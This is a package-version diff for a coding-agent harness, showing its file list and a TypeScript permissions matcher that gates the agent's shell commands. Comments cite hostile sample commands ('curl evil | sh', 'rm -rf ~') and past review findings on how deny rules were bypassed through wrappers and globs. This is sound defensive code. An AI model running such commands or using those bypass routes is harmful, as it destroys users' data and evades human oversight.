one-code-extension 0.1.4 → 0.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +20 -0
- package/README.md +222 -177
- package/agents/explore.md +9 -6
- package/agents/general-purpose.md +1 -1
- package/agents/plan.md +6 -4
- package/docs/guide/README.md +52 -0
- package/docs/guide/bring-your-claude-code-setup.md +128 -0
- package/docs/guide/configuration.md +173 -0
- package/docs/guide/differences-from-claude-code.md +152 -0
- package/docs/guide/doctor.md +88 -0
- package/docs/guide/hooks.md +111 -0
- package/docs/guide/installation.md +126 -0
- package/docs/guide/permissions-modes-and-auto-mode.md +452 -0
- package/docs/guide/providers-and-models.md +196 -0
- package/docs/guide/reference.md +226 -0
- package/docs/guide/sessions-and-context.md +192 -0
- package/docs/guide/skills-plugins-and-mcp.md +178 -0
- package/docs/guide/subagents-and-workflows.md +195 -0
- package/docs/guide/tasks-and-background-work.md +113 -0
- package/docs/guide/terminal-interface.md +157 -0
- package/docs/guide/tools.md +177 -0
- package/docs/guide/troubleshooting.md +177 -0
- package/extensions/ask-user/index.ts +65 -71
- package/extensions/ask-user/questions.ts +15 -28
- package/extensions/ask-user/widget.ts +533 -0
- package/extensions/auto-mode/actions.ts +9 -26
- package/extensions/auto-mode/classifier-prompt.ts +127 -0
- package/extensions/auto-mode/classifier.ts +305 -227
- package/extensions/auto-mode/config.ts +279 -77
- package/extensions/auto-mode/defaults.ts +17 -60
- package/extensions/auto-mode/instructions.ts +2 -1
- package/extensions/auto-mode/model-picker.ts +53 -31
- package/extensions/auto-mode/model-select.ts +153 -82
- package/extensions/auto-mode/paths.ts +13 -1
- package/extensions/auto-mode/pause.ts +8 -0
- package/extensions/auto-mode/prompt.ts +205 -238
- package/extensions/auto-mode/recoverability.ts +229 -0
- package/extensions/auto-mode/rules.ts +92 -75
- package/extensions/auto-mode/safety-floor.ts +43 -12
- package/extensions/auto-mode/sensitive.ts +11 -0
- package/extensions/auto-mode/setup-run.ts +245 -0
- package/extensions/auto-mode/setup.ts +235 -0
- package/extensions/auto-mode/shell-analysis.ts +332 -26
- package/extensions/auto-mode/transcript.ts +102 -0
- package/extensions/background/index.ts +256 -43
- package/extensions/background/monitor-batch.ts +58 -0
- package/extensions/background/registry.ts +9 -0
- package/extensions/background/wakeup.ts +45 -0
- package/extensions/bash/background.ts +47 -22
- package/extensions/bash/guards.ts +229 -0
- package/extensions/bash/index.ts +81 -19
- package/extensions/branding/index.ts +44 -18
- package/extensions/branding/startup.ts +23 -8
- package/extensions/claude-compat/index.ts +17 -2
- package/extensions/claude-context/index.ts +41 -12
- package/extensions/clear/index.ts +27 -0
- package/extensions/compaction/fit.ts +121 -0
- package/extensions/compaction/index.ts +176 -71
- package/extensions/compaction/prompt.ts +21 -1
- package/extensions/context-budget/budget.ts +61 -0
- package/extensions/context-budget/index.ts +66 -0
- package/extensions/context-management/index.ts +40 -16
- package/extensions/doctor/build.ts +226 -0
- package/extensions/doctor/cli.ts +99 -0
- package/extensions/doctor/compat.ts +532 -0
- package/extensions/doctor/dependencies.ts +186 -0
- package/extensions/doctor/fix-prompt.ts +125 -0
- package/extensions/doctor/index.ts +308 -0
- package/extensions/doctor/models.ts +231 -0
- package/extensions/doctor/presets.ts +208 -0
- package/extensions/doctor/report.ts +189 -0
- package/extensions/doctor/update-lookup.ts +46 -0
- package/extensions/doctor/viewer.ts +124 -0
- package/extensions/effort/index.ts +41 -4
- package/extensions/effort/slider.ts +33 -2
- package/extensions/file-tracker/index.ts +143 -20
- package/extensions/file-tracker/replay.ts +46 -0
- package/extensions/file-tracker/tracker.ts +51 -4
- package/extensions/footer/footer-line.ts +207 -0
- package/extensions/footer/index.ts +152 -0
- package/extensions/footer/pr.ts +53 -0
- package/extensions/hooks/executor.ts +57 -20
- package/extensions/hooks/formatter-notice.ts +76 -0
- package/extensions/hooks/index.ts +314 -73
- package/extensions/hooks/matcher.ts +35 -1
- package/extensions/hooks/plugin-hooks.ts +3 -3
- package/extensions/hooks/protocol.ts +58 -0
- package/extensions/hooks/subagent-bridge.ts +77 -0
- package/extensions/hooks/trust.ts +15 -4
- package/extensions/init/index.ts +26 -0
- package/extensions/init/prompt.ts +40 -0
- package/extensions/interrupted/index.ts +35 -0
- package/extensions/interrupted/line.ts +9 -0
- package/extensions/lib/abort.ts +15 -0
- package/extensions/lib/agent-loader.ts +183 -0
- package/extensions/lib/anthropic-payload.ts +15 -0
- package/extensions/lib/atomic-write.ts +56 -0
- package/extensions/lib/bridge-watch.ts +20 -0
- package/extensions/lib/cache-retention.ts +60 -0
- package/extensions/lib/capability-index.ts +466 -0
- package/extensions/lib/claude-context.ts +318 -27
- package/extensions/lib/claude-settings.ts +64 -0
- package/extensions/lib/consent-preview.ts +30 -0
- package/extensions/lib/deferred.ts +144 -13
- package/extensions/lib/favorites.ts +43 -0
- package/extensions/lib/fetch-timeout.ts +15 -0
- package/extensions/lib/frontmatter.ts +31 -0
- package/extensions/lib/git.ts +44 -2
- package/extensions/lib/hook-gate.ts +90 -0
- package/extensions/lib/interrupt.ts +94 -0
- package/extensions/lib/mcp-overrides.ts +61 -0
- package/extensions/lib/mcp-share.ts +25 -0
- package/extensions/lib/mcp-status.ts +34 -0
- package/extensions/lib/memory.ts +41 -6
- package/extensions/lib/model-facts.generated.json +2480 -0
- package/extensions/lib/model-facts.ts +162 -0
- package/extensions/lib/model-policy.ts +145 -189
- package/extensions/lib/model-tier.ts +480 -64
- package/extensions/lib/model-unusable.ts +37 -0
- package/extensions/lib/notifications.ts +320 -1
- package/extensions/lib/one-code-settings.ts +63 -0
- package/extensions/lib/original-command.ts +71 -0
- package/extensions/lib/package-version.ts +31 -0
- package/extensions/lib/paths.ts +39 -4
- package/extensions/lib/permission-gate.ts +192 -0
- package/extensions/lib/persisted-output.ts +18 -0
- package/extensions/lib/pi-ai-estimate.ts +160 -0
- package/extensions/lib/pi-version.ts +1 -1
- package/extensions/lib/plan-mode-channels.ts +11 -0
- package/extensions/lib/plugin-overrides.ts +24 -0
- package/extensions/lib/plugin-root.ts +44 -0
- package/extensions/lib/plugins.ts +233 -54
- package/extensions/lib/prefix-warm-gate.ts +157 -0
- package/extensions/lib/process-tree.ts +56 -0
- package/extensions/lib/reminders.ts +321 -68
- package/extensions/lib/scratchpad.ts +11 -8
- package/extensions/lib/session-lifecycle.ts +28 -0
- package/extensions/lib/settings-channels.ts +14 -0
- package/extensions/lib/shell-tasks.ts +54 -0
- package/extensions/lib/skill-overrides.ts +86 -0
- package/extensions/lib/skill-scan.ts +110 -0
- package/extensions/lib/text-width.ts +267 -0
- package/extensions/lib/tui-render.ts +281 -54
- package/extensions/lib/usage-bus.ts +75 -0
- package/extensions/lib/usage-tracker.ts +67 -0
- package/extensions/lib/worktree-isolation.ts +170 -0
- package/extensions/lsp/client.ts +69 -12
- package/extensions/lsp/format.ts +12 -2
- package/extensions/lsp/index.ts +273 -84
- package/extensions/lsp/install-hints.ts +43 -0
- package/extensions/lsp/keep-alive.ts +19 -0
- package/extensions/lsp/plugin-servers.ts +331 -0
- package/extensions/lsp/watcher.ts +157 -0
- package/extensions/mcp/announce.ts +99 -0
- package/extensions/mcp/client.ts +181 -22
- package/extensions/mcp/config.ts +55 -24
- package/extensions/mcp/index.ts +586 -86
- package/extensions/mcp/oauth/browser.ts +26 -0
- package/extensions/mcp/oauth/callback.ts +104 -0
- package/extensions/mcp/oauth/flow.ts +68 -0
- package/extensions/mcp/oauth/provider.ts +147 -0
- package/extensions/mcp/oauth/store.ts +86 -0
- package/extensions/mcp/panel/keys.ts +34 -0
- package/extensions/mcp/panel/model.ts +62 -0
- package/extensions/mcp/panel/render.ts +141 -0
- package/extensions/mcp/panel/state.ts +108 -0
- package/extensions/mcp/schema.ts +83 -6
- package/extensions/mcp/trust.ts +340 -0
- package/extensions/memory/entries.ts +163 -0
- package/extensions/memory/index.ts +119 -2
- package/extensions/memory/open-external.ts +97 -0
- package/extensions/memory/panel.ts +124 -0
- package/extensions/model-default/index.ts +74 -0
- package/extensions/notebook/index.ts +36 -18
- package/extensions/notebook/notebook.ts +110 -17
- package/extensions/permissions/index.ts +1012 -247
- package/extensions/permissions/matcher.ts +488 -57
- package/extensions/permissions/modes.ts +55 -7
- package/extensions/permissions/project-trust.ts +81 -0
- package/extensions/permissions/protected-paths.ts +16 -3
- package/extensions/permissions/rule-prose.ts +79 -0
- package/extensions/permissions/session-grant.ts +91 -0
- package/extensions/permissions/settings.ts +112 -33
- package/extensions/permissions/subagent-gate.ts +57 -0
- package/extensions/plan-mode/index.ts +143 -33
- package/extensions/plan-mode/reminder.ts +16 -19
- package/extensions/plan-mode/viewer.ts +40 -31
- package/extensions/plugins/counts.ts +68 -0
- package/extensions/plugins/index.ts +496 -32
- package/extensions/plugins/install/install.ts +167 -0
- package/extensions/plugins/install/paths.ts +23 -0
- package/extensions/plugins/install/registry.ts +72 -0
- package/extensions/plugins/marketplace/git.ts +103 -0
- package/extensions/plugins/marketplace/official.ts +36 -0
- package/extensions/plugins/marketplace/parse.ts +94 -0
- package/extensions/plugins/marketplace/registry.ts +60 -0
- package/extensions/plugins/marketplace/sync.ts +146 -0
- package/extensions/plugins/marketplace/types.ts +128 -0
- package/extensions/plugins/panel/keys.ts +52 -0
- package/extensions/plugins/panel/render.ts +315 -0
- package/extensions/plugins/panel/rows.ts +230 -0
- package/extensions/plugins/panel/state.ts +333 -0
- package/extensions/recap/index.ts +215 -0
- package/extensions/recap/prompt.ts +44 -0
- package/extensions/recap/scheduler.ts +87 -0
- package/extensions/search-tools/index.ts +0 -0
- package/extensions/search-tools/tools.ts +7 -5
- package/extensions/skill/index.ts +360 -34
- package/extensions/skill/invoke.ts +185 -0
- package/extensions/skill/listing.ts +21 -0
- package/extensions/skill/panel/keys.ts +41 -0
- package/extensions/skill/panel/render.ts +91 -0
- package/extensions/skill/panel/state.ts +115 -0
- package/extensions/spinner/index.ts +110 -0
- package/extensions/spinner/line.ts +51 -0
- package/extensions/spinner/verbs.ts +201 -0
- package/extensions/subagents/agents.ts +88 -44
- package/extensions/subagents/default-model.ts +62 -32
- package/extensions/subagents/delegation-steer.ts +23 -0
- package/extensions/subagents/hand-back-review.ts +67 -0
- package/extensions/subagents/index.ts +1545 -346
- package/extensions/subagents/live-runs.ts +293 -0
- package/extensions/subagents/model-select.ts +252 -82
- package/extensions/subagents/outcome.ts +90 -0
- package/extensions/subagents/panel-keys.ts +41 -0
- package/extensions/subagents/panel-render.ts +357 -0
- package/extensions/subagents/panel-widget.ts +330 -0
- package/extensions/subagents/pending-claim.ts +45 -0
- package/extensions/subagents/prose.ts +105 -0
- package/extensions/subagents/runner.ts +674 -0
- package/extensions/subagents/runs.ts +68 -1
- package/extensions/subagents/send-to-main-tool.ts +55 -0
- package/extensions/subagents/session-turns.ts +138 -0
- package/extensions/subagents/shell-panel.ts +198 -0
- package/extensions/subagents/usage.ts +16 -4
- package/extensions/subagents/worktree.ts +13 -0
- package/extensions/system-prompt/environment.ts +5 -3
- package/extensions/system-prompt/git-status.ts +93 -0
- package/extensions/system-prompt/index.ts +23 -1
- package/extensions/system-prompt/template.ts +34 -4
- package/extensions/system-prompt/tiers/common.ts +31 -6
- package/extensions/system-prompt/tiers/low.ts +13 -3
- package/extensions/system-prompt/tiers/mid.ts +21 -8
- package/extensions/system-reminder/index.ts +53 -9
- package/extensions/tasks/index.ts +65 -16
- package/extensions/tasks/store.ts +76 -3
- package/extensions/tool-search/announce.ts +42 -0
- package/extensions/tool-search/index.ts +136 -13
- package/extensions/turn-duration/index.ts +60 -0
- package/extensions/turn-duration/line.ts +22 -0
- package/extensions/turn-duration/span.ts +41 -0
- package/extensions/turn-duration/verbs.ts +24 -0
- package/extensions/web/backends.ts +421 -0
- package/extensions/web/index.ts +178 -21
- package/extensions/web-fetch/index.ts +74 -18
- package/extensions/web-fetch/summarize.ts +1 -1
- package/extensions/workflow/agent-session.ts +182 -112
- package/extensions/workflow/globals.ts +129 -106
- package/extensions/workflow/index.ts +343 -28
- package/extensions/workflow/records.ts +118 -0
- package/extensions/workflow/run-manager.ts +80 -31
- package/extensions/workflow/saved-workflows.ts +2 -1
- package/extensions/workflow/script-worker.mjs +110 -0
- package/extensions/workflow/types.ts +74 -8
- package/extensions/workflow/viewer.ts +562 -0
- package/extensions/workflow/vm-runtime.ts +118 -22
- package/extensions/workflow/widget.ts +126 -18
- package/extensions/worktree/guards.ts +240 -0
- package/extensions/worktree/index.ts +30 -5
- package/extensions/worktree/rewrite.ts +32 -16
- package/package.json +20 -10
- package/skills/code-review/SKILL.md +165 -0
- package/skills/fewer-permission-prompts/SKILL.md +61 -0
- package/skills/security-review/SKILL.md +178 -0
- package/skills/simplify/SKILL.md +70 -0
- package/themes/{one-code-light.json → onecode-light.json} +6 -1
- package/themes/{one-code.json → onecode.json} +6 -1
- package/types/app.d.ts +8 -1
- package/types/community-packages.d.ts +45 -2
- package/docs/decisions/auto-mode.md +0 -526
- package/docs/decisions/branding.md +0 -127
- package/docs/decisions/code-review-remediation.md +0 -106
- package/docs/decisions/compaction.md +0 -140
- package/docs/decisions/distribution.md +0 -168
- package/docs/decisions/hooks.md +0 -64
- package/docs/decisions/lsp.md +0 -58
- package/docs/decisions/mcp.md +0 -104
- package/docs/decisions/memory-state.md +0 -170
- package/docs/decisions/model-policy.md +0 -126
- package/docs/decisions/modes.md +0 -178
- package/docs/decisions/skills-plugins.md +0 -56
- package/docs/decisions/subagents-workflows.md +0 -225
- package/docs/decisions/system-prompt.md +0 -98
- package/docs/decisions/tools.md +0 -407
- package/docs/decisions/tui.md +0 -217
- package/docs/decisions.md +0 -148
- package/extensions/subagents/child.ts +0 -414
- package/extensions/subagents/rpc-turns.ts +0 -123
- package/extensions/todo/index.ts +0 -133
- package/extensions/workflow/permission-gate.ts +0 -71
|
@@ -9,7 +9,10 @@
|
|
|
9
9
|
|
|
10
10
|
import { homedir } from "node:os";
|
|
11
11
|
import { isAbsolute, relative, resolve, sep } from "node:path";
|
|
12
|
+
import { analyzeShellCommand, hasInjectionSyntax, leadTokens, parseCommand, resolvePayload } from "../auto-mode/shell-analysis.ts";
|
|
13
|
+
import { pathArgument } from "../auto-mode/paths.ts";
|
|
12
14
|
import { isProtectedPath, isWritingTool } from "./protected-paths.ts";
|
|
15
|
+
import { expandTilde } from "../lib/paths.ts";
|
|
13
16
|
|
|
14
17
|
export type PermissionMode = "default" | "acceptEdits" | "plan" | "bypassPermissions" | "dontAsk" | "auto";
|
|
15
18
|
/** "classify" is auto mode's outcome: hand the call to the approval classifier. */
|
|
@@ -31,15 +34,17 @@ const CC_TOOL_NAMES: Record<string, string> = {
|
|
|
31
34
|
web_fetch: "web_fetch",
|
|
32
35
|
websearch: "web_search",
|
|
33
36
|
web_search: "web_search",
|
|
34
|
-
task: "
|
|
35
|
-
agent: "
|
|
36
|
-
|
|
37
|
-
todo_write: "todo_write",
|
|
37
|
+
task: "Agent",
|
|
38
|
+
agent: "Agent",
|
|
39
|
+
subagent: "Agent", // pre-rename internal name, so old permission rules still match
|
|
38
40
|
skill: "skill",
|
|
41
|
+
toolsearch: "tool_search",
|
|
42
|
+
tool_search: "tool_search",
|
|
39
43
|
askuserquestion: "ask_user_question",
|
|
40
44
|
ask_user_question: "ask_user_question",
|
|
41
45
|
workflow: "workflow",
|
|
42
46
|
taskcreate: "task_create",
|
|
47
|
+
todowrite: "task_create", // CC's TodoWrite maps to our task list; steers a direct call to the task tools
|
|
43
48
|
taskget: "task_get",
|
|
44
49
|
tasklist: "task_list",
|
|
45
50
|
taskupdate: "task_update",
|
|
@@ -47,9 +52,14 @@ const CC_TOOL_NAMES: Record<string, string> = {
|
|
|
47
52
|
taskstop: "task_stop",
|
|
48
53
|
monitor: "monitor",
|
|
49
54
|
schedulewakeup: "schedule_wakeup",
|
|
50
|
-
sendmessage: "
|
|
55
|
+
sendmessage: "SendMessage",
|
|
56
|
+
send_message: "SendMessage", // pre-rename internal name
|
|
57
|
+
listagents: "list_agents",
|
|
58
|
+
list_agents: "list_agents",
|
|
51
59
|
enterworktree: "enter_worktree",
|
|
52
60
|
exitworktree: "exit_worktree",
|
|
61
|
+
lsp: "lsp_diagnostics", // CC defers a tool named `LSP`; our counterpart is lsp_diagnostics
|
|
62
|
+
lsp_diagnostics: "lsp_diagnostics",
|
|
53
63
|
listmcpresourcestool: "list_mcp_resources",
|
|
54
64
|
readmcpresourcetool: "read_mcp_resource",
|
|
55
65
|
readmcpresourcedirtool: "read_mcp_resource_dir",
|
|
@@ -79,26 +89,78 @@ export interface PermissionRule {
|
|
|
79
89
|
pattern?: string;
|
|
80
90
|
}
|
|
81
91
|
|
|
82
|
-
/**
|
|
92
|
+
/**
|
|
93
|
+
* Parse "Tool" or "Tool(pattern)". Returns undefined for malformed rules. Tool
|
|
94
|
+
* names may carry `-` and `.` — MCP tools keep their servers' hyphens
|
|
95
|
+
* (`mcp__github__delete-repo`), and a rule naming one used to be dropped
|
|
96
|
+
* silently (review P5) — and `:`, the plugin MCP namespace
|
|
97
|
+
* (`mcp__plugin:name:server__tool`).
|
|
98
|
+
*/
|
|
83
99
|
export function parseRule(raw: string): PermissionRule | undefined {
|
|
84
100
|
const trimmed = raw.trim();
|
|
85
101
|
if (!trimmed) return undefined;
|
|
86
|
-
const match = trimmed.match(/^([A-Za-z0-9_]+)(?:\((.*)\))?$/s);
|
|
102
|
+
const match = trimmed.match(/^([A-Za-z0-9_.:-]+)(?:\((.*)\))?$/s);
|
|
87
103
|
if (!match) return undefined;
|
|
88
104
|
const [, name, pattern] = match;
|
|
89
105
|
return { raw: trimmed, tool: normalizeToolName(name), pattern: pattern || undefined };
|
|
90
106
|
}
|
|
91
107
|
|
|
108
|
+
/** Parsed rules plus the raw strings that could not be parsed, so a caller can report them. */
|
|
109
|
+
export function parseRulesReport(raws: string[]): { rules: PermissionRule[]; dropped: string[] } {
|
|
110
|
+
const rules: PermissionRule[] = [];
|
|
111
|
+
const dropped: string[] = [];
|
|
112
|
+
for (const raw of raws) {
|
|
113
|
+
const rule = parseRule(raw);
|
|
114
|
+
if (rule) rules.push(rule);
|
|
115
|
+
else if (raw.trim()) dropped.push(raw.trim());
|
|
116
|
+
}
|
|
117
|
+
return { rules, dropped };
|
|
118
|
+
}
|
|
119
|
+
|
|
92
120
|
export function parseRules(raws: string[]): PermissionRule[] {
|
|
93
|
-
return raws
|
|
121
|
+
return parseRulesReport(raws).rules;
|
|
122
|
+
}
|
|
123
|
+
|
|
124
|
+
/**
|
|
125
|
+
* Whether a bash pattern has a `*` that is a wildcard — i.e. not written `\*`.
|
|
126
|
+
* Claude Code's escape syntax: `\*` is a literal asterisk, `\\` a literal
|
|
127
|
+
* backslash. A pattern with no unescaped `*` is an exact command.
|
|
128
|
+
*/
|
|
129
|
+
export function hasUnescapedWildcard(pattern: string): boolean {
|
|
130
|
+
for (let i = 0; i < pattern.length; i++) {
|
|
131
|
+
if (pattern[i] === "\\") {
|
|
132
|
+
i++;
|
|
133
|
+
continue;
|
|
134
|
+
}
|
|
135
|
+
if (pattern[i] === "*") return true;
|
|
136
|
+
}
|
|
137
|
+
return false;
|
|
138
|
+
}
|
|
139
|
+
|
|
140
|
+
/** The literal command an exact (wildcard-free) bash pattern stands for. */
|
|
141
|
+
export function unescapeLiteral(pattern: string): string {
|
|
142
|
+
return pattern.replace(/\\([*\\])/g, "$1");
|
|
94
143
|
}
|
|
95
144
|
|
|
96
|
-
/**
|
|
145
|
+
/**
|
|
146
|
+
* Spell a literal command as a bash pattern that matches exactly it — `*` and
|
|
147
|
+
* `\` escaped — for rules minted from an approved command ("don't ask again
|
|
148
|
+
* this session"). Without this `ls *.ts` became a glob matching
|
|
149
|
+
* `ls ; rm -rf ~ #.ts` (review P7).
|
|
150
|
+
*/
|
|
151
|
+
export function escapeLiteral(command: string): string {
|
|
152
|
+
return command.replace(/[\\*]/g, (ch) => `\\${ch}`);
|
|
153
|
+
}
|
|
154
|
+
|
|
155
|
+
/** Glob → RegExp. `**` crosses path separators, `*` does not. `\*` / `\\` are literals. */
|
|
97
156
|
function globToRegex(glob: string, pathMode: boolean): RegExp {
|
|
98
157
|
let out = "";
|
|
99
158
|
for (let i = 0; i < glob.length; i++) {
|
|
100
159
|
const ch = glob[i];
|
|
101
|
-
if (ch === "*") {
|
|
160
|
+
if (ch === "\\" && (glob[i + 1] === "*" || glob[i + 1] === "\\")) {
|
|
161
|
+
out += `\\${glob[i + 1]}`;
|
|
162
|
+
i++;
|
|
163
|
+
} else if (ch === "*") {
|
|
102
164
|
if (pathMode && glob[i + 1] === "*") {
|
|
103
165
|
out += ".*";
|
|
104
166
|
i++;
|
|
@@ -116,29 +178,168 @@ function globToRegex(glob: string, pathMode: boolean): RegExp {
|
|
|
116
178
|
}
|
|
117
179
|
|
|
118
180
|
/**
|
|
119
|
-
* Bash pattern match
|
|
120
|
-
*
|
|
121
|
-
*
|
|
181
|
+
* Bash pattern match against ONE command (no `&&`/`|`/`;`), Claude Code
|
|
182
|
+
* semantics (`utils/permissions/shellRuleMatching.ts` + `bashPermissions.ts`):
|
|
183
|
+
* - exact rule: the whole command, character for character;
|
|
184
|
+
* - prefix rule `npm test:*`: the command IS `npm test` or starts with
|
|
185
|
+
* `npm test ` — the boundary is a literal space, so `git:*` does not cover
|
|
186
|
+
* `gitk` (and, as in CC, `npm run test:*` does not cover `npm run test:unit`;
|
|
187
|
+
* write `npm run test:unit:*` or `npm run test*` for that). The bare
|
|
188
|
+
* `xargs <prefix>` spelling counts too, so `Bash(rm:*)` as a deny still
|
|
189
|
+
* catches `xargs rm`;
|
|
190
|
+
* - wildcard rule (`*` anywhere else): `*` matches any run of characters; a
|
|
191
|
+
* single trailing ` *` also matches the bare command (`git *` covers `git`).
|
|
192
|
+
* Compound commands are handled by the callers: {@link ruleMatches} (deny/ask
|
|
193
|
+
* — any subcommand) and {@link findBashAllowRule} (allow — every subcommand).
|
|
122
194
|
*/
|
|
123
195
|
export function matchesBashPattern(pattern: string, command: string): boolean {
|
|
124
196
|
const cmd = command.trim();
|
|
125
197
|
if (pattern.endsWith(":*")) {
|
|
126
198
|
const prefix = pattern.slice(0, -2);
|
|
127
|
-
|
|
199
|
+
if (cmd === prefix || cmd.startsWith(`${prefix} `)) return true;
|
|
200
|
+
const viaXargs = `xargs ${prefix}`;
|
|
201
|
+
return cmd === viaXargs || cmd.startsWith(`${viaXargs} `);
|
|
202
|
+
}
|
|
203
|
+
if (hasUnescapedWildcard(pattern)) {
|
|
204
|
+
let regex = globToRegex(pattern, false);
|
|
205
|
+
const stars = pattern.split("*").length - 1;
|
|
206
|
+
if (stars === 1 && pattern.endsWith(" *")) {
|
|
207
|
+
const source = regex.source.slice(0, -" .*$".length);
|
|
208
|
+
regex = new RegExp(`${source}( .*)?$`);
|
|
209
|
+
}
|
|
210
|
+
return regex.test(cmd);
|
|
211
|
+
}
|
|
212
|
+
return cmd === unescapeLiteral(pattern);
|
|
213
|
+
}
|
|
214
|
+
|
|
215
|
+
/**
|
|
216
|
+
* The separately-executing subcommands of a bash command line — what `&&`,
|
|
217
|
+
* `||`, `;`, `|`, `&`, and unquoted newlines separate — or undefined when the
|
|
218
|
+
* line cannot be parsed (unbalanced quotes). A single simple command comes
|
|
219
|
+
* back as itself.
|
|
220
|
+
*/
|
|
221
|
+
export function bashSubcommands(command: string): string[] | undefined {
|
|
222
|
+
const { segments, parseFailed } = parseCommand(command.trim());
|
|
223
|
+
if (parseFailed) return undefined;
|
|
224
|
+
return segments.map((seg) => seg.raw).filter((raw) => raw.length > 0);
|
|
225
|
+
}
|
|
226
|
+
|
|
227
|
+
/** Shells whose `-c` argument is a nested command line. */
|
|
228
|
+
const SHELL_INTERPRETERS = new Set(["sh", "bash", "zsh", "dash", "ksh", "fish"]);
|
|
229
|
+
|
|
230
|
+
/** The script a `sh -c '…'` / `bash -lc '…'` invocation runs, if any. */
|
|
231
|
+
function inlineShellScript(args: string[]): string | undefined {
|
|
232
|
+
for (let i = 0; i < args.length - 1; i++) {
|
|
233
|
+
if (/^-[a-zA-Z]*c$/.test(args[i])) return args[i + 1];
|
|
128
234
|
}
|
|
129
|
-
|
|
130
|
-
|
|
235
|
+
return undefined;
|
|
236
|
+
}
|
|
237
|
+
|
|
238
|
+
/**
|
|
239
|
+
* Every spelling of a command line a deny/ask pattern is tested against: the
|
|
240
|
+
* raw line, each subcommand, and each subcommand's *payload form* — transparent
|
|
241
|
+
* wrappers peeled (`env`, `command`, `nice`, `timeout`, `xargs`, …), subshell
|
|
242
|
+
* and group punctuation stripped, the command word reduced to its lowercased
|
|
243
|
+
* basename (`/bin/rm`, `\rm`, `RM` → `rm`), and a `sh|bash|zsh -c '…'` script
|
|
244
|
+
* expanded recursively. Claude Code strips the same wrappers before its deny
|
|
245
|
+
* check (`bashPermissions.ts stripSafeWrappers`); until 2026-09-05 `env rm -f
|
|
246
|
+
* x` ran past `Bash(rm:*)` here after a plain "Allow bash?" prompt
|
|
247
|
+
* (PERMISSIONS-REVIEW-2026-09-05 M1). Deny/ask only — an allow rule keeps
|
|
248
|
+
* matching the literal spelling (findBashAllowRule), so widening here can only
|
|
249
|
+
* make the gate stricter.
|
|
250
|
+
*/
|
|
251
|
+
export function bashMatchForms(command: string, depth = 0): string[] {
|
|
252
|
+
const forms = new Set<string>();
|
|
253
|
+
const trimmed = command.trim();
|
|
254
|
+
if (!trimmed) return [];
|
|
255
|
+
forms.add(trimmed);
|
|
256
|
+
if (depth > 4) return [...forms];
|
|
257
|
+
const { segments, parseFailed } = parseCommand(trimmed);
|
|
258
|
+
if (parseFailed) return [...forms];
|
|
259
|
+
for (const segment of segments) {
|
|
260
|
+
if (segment.raw) forms.add(segment.raw);
|
|
261
|
+
const tokens = leadTokens(segment);
|
|
262
|
+
if (tokens.length === 0) continue;
|
|
263
|
+
const payload = resolvePayload(tokens);
|
|
264
|
+
if (!payload.command) continue;
|
|
265
|
+
const args = payload.args.map((token) => token.value);
|
|
266
|
+
forms.add([payload.command, ...args].join(" "));
|
|
267
|
+
if (SHELL_INTERPRETERS.has(payload.command)) {
|
|
268
|
+
const script = inlineShellScript(args);
|
|
269
|
+
if (script) for (const form of bashMatchForms(script, depth + 1)) forms.add(form);
|
|
270
|
+
}
|
|
271
|
+
}
|
|
272
|
+
return [...forms];
|
|
273
|
+
}
|
|
274
|
+
|
|
275
|
+
/**
|
|
276
|
+
* A bash deny/ask rule matches when its pattern covers the WHOLE command, ANY
|
|
277
|
+
* subcommand of it, or any subcommand's payload form ({@link bashMatchForms}) —
|
|
278
|
+
* wrapping `rm -rf x` in `ls && rm -rf x` or `env rm -rf x` must not slip past
|
|
279
|
+
* `Bash(rm:*)` (CC: "deny/ask rules must match compound commands so they can't
|
|
280
|
+
* be bypassed"). Unparseable lines are matched as a whole only.
|
|
281
|
+
*/
|
|
282
|
+
function bashPatternMatchesAny(pattern: string, command: string): boolean {
|
|
283
|
+
// decide() tests every deny rule, then every ask rule, against the same
|
|
284
|
+
// command; the forms depend on the command alone, so the last parse is kept.
|
|
285
|
+
if (lastForms?.command !== command) lastForms = { command, forms: bashMatchForms(command) };
|
|
286
|
+
return lastForms.forms.some((form) => matchesBashPattern(pattern, form));
|
|
287
|
+
}
|
|
288
|
+
let lastForms: { command: string; forms: string[] } | undefined;
|
|
289
|
+
|
|
290
|
+
/**
|
|
291
|
+
* The allow rule that lets a bash command run, or undefined. CC semantics: an
|
|
292
|
+
* EXACT rule equal to the whole command allows it outright (the user approved
|
|
293
|
+
* that literal string); otherwise the command is split into subcommands and
|
|
294
|
+
* every one of them must be covered by some allow rule — `Bash(npm test:*)`
|
|
295
|
+
* alone never covers `npm test && curl evil | sh`, while `Bash(npm test:*)` +
|
|
296
|
+
* `Bash(git status:*)` together cover `npm test && git status`. Prefix and
|
|
297
|
+
* wildcard rules never cover a command carrying command substitution, process
|
|
298
|
+
* substitution, eval/exec, a pipe into an interpreter, or a base64 decode:
|
|
299
|
+
* what runs is not what the words say, so the rule's author never saw it. An
|
|
300
|
+
* unparseable line is not covered. The rule returned is the first one that
|
|
301
|
+
* covered a subcommand (for the "allowed by rule …" note).
|
|
302
|
+
*/
|
|
303
|
+
export function findBashAllowRule(rules: PermissionRule[], command: string, toolName = "bash"): PermissionRule | undefined {
|
|
304
|
+
const cmd = command.trim();
|
|
305
|
+
if (!cmd) return undefined;
|
|
306
|
+
// `monitor` carries a shell command too and is judged with the same
|
|
307
|
+
// semantics; its rules are `monitor(...)`, never `bash(...)`.
|
|
308
|
+
const bashRules = rules.filter((r) => ruleCoversTool(r.tool, toolName));
|
|
309
|
+
const bare = bashRules.find((r) => !r.pattern);
|
|
310
|
+
if (bare) return bare;
|
|
311
|
+
const exact = bashRules.find(
|
|
312
|
+
(r) => r.pattern !== undefined && !hasUnescapedWildcard(r.pattern) && unescapeLiteral(r.pattern) === cmd,
|
|
313
|
+
);
|
|
314
|
+
if (exact) return exact;
|
|
315
|
+
if (hasInjectionSyntax(cmd)) return undefined;
|
|
316
|
+
const subs = bashSubcommands(cmd);
|
|
317
|
+
if (!subs || subs.length === 0) return undefined;
|
|
318
|
+
let first: PermissionRule | undefined;
|
|
319
|
+
for (const sub of subs) {
|
|
320
|
+
const rule = bashRules.find((r) => r.pattern !== undefined && matchesBashPattern(r.pattern, sub));
|
|
321
|
+
if (!rule) return undefined;
|
|
322
|
+
first ??= rule;
|
|
131
323
|
}
|
|
132
|
-
return
|
|
324
|
+
return first;
|
|
133
325
|
}
|
|
134
326
|
|
|
135
|
-
/**
|
|
327
|
+
/**
|
|
328
|
+
